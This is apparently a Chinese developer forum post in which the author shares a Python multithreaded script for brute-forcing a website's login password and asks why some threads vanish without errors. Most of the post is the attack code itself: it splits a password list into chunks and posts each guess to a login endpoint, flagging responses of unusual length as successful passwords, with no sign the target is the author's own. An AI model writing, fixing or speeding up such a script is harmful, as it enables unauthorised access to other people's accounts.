关于python多线程丢失

在使用Python进行网站密码暴力破解时,作者遇到了多线程丢失的问题。代码中创建了5个线程,每个线程处理一部分密码列表,并通过ThreadPoolExecutor执行。然而,在运行过程中,线程似乎并未按预期工作,导致线程丢失,且未出现错误提示。作者寻求解决方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

关于python多线程丢失

用python暴力破解网站密码时遇到一个问题

import requests
import urllib3
import _thread
from concurrent.futures import ThreadPoolExecutor
import time
import threading
data={"userName":"2481A9139CDAB4481199F6DDA3811967","passWord":"36F29E7A72A94C32AF840F79557AAE2F"}
res=requests.post(url2,headers=headers,data=data,verify=False)
print(res.text)



Password=open('4.txt').read().split('\n')
n=len(Password)//10
new_group=[]

for i in range(5):
    new_group2=[]
    for k in range(n*i,(i+1)*n):
        new_group2.append(Password[k])
    new_group.append(new_group2)


def post_data(threadname,password):
    i=0
    righpass=[]
    rightext=[]
    for i in range(len(password)):
        data={"userName":"2481A9139CDAB4481199F6DDA3811967","passWord":password[i]}
        res=requests.post(url2,headers=headers,data=data)
        if len(res.text)!=79:
            righpass.append(password[i])
            rightext.append(len(res.text))
        if i%100==0:
            print("%s:次数%d"%(threadname,i))
    print('%s结束'%threadname)
    ff=open('againtext.txt','a')
    for zz in range(len(rightext)):
        ff.write('\n'+str(rightext[zz]))
    ff.close()
    f=open('again.txt','a')
    for z in range(len(righpass)):
        f.write('\n'+righpass[z])
    f.close()


pool=ThreadPoolExecutor(6)

for m in range(5):
    pool.submit(post_data,"线程%d"%m,new_group[m])
p1=pool.submit(post_data,"守护线程",Password)
p1.daemon=True

用了多线程,却出现了线程丢失的情况

这里本来有5个线程的,运行的时候没有问题甚至线程丢失了也没有报错
找了一天资料了还是不知道怎么办
有没有大佬帮忙看一下
ORZ(自闭中)

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值